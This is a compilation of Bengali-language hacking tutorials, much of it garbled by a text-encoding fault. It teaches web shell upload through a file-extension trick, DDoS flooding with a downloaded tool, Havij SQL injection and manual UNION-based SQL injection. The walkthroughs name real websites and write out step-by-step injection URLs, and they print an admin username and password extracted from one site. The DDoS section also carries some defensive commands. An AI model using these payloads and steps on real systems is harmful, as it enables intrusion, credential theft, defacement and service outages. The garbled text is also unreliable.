কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

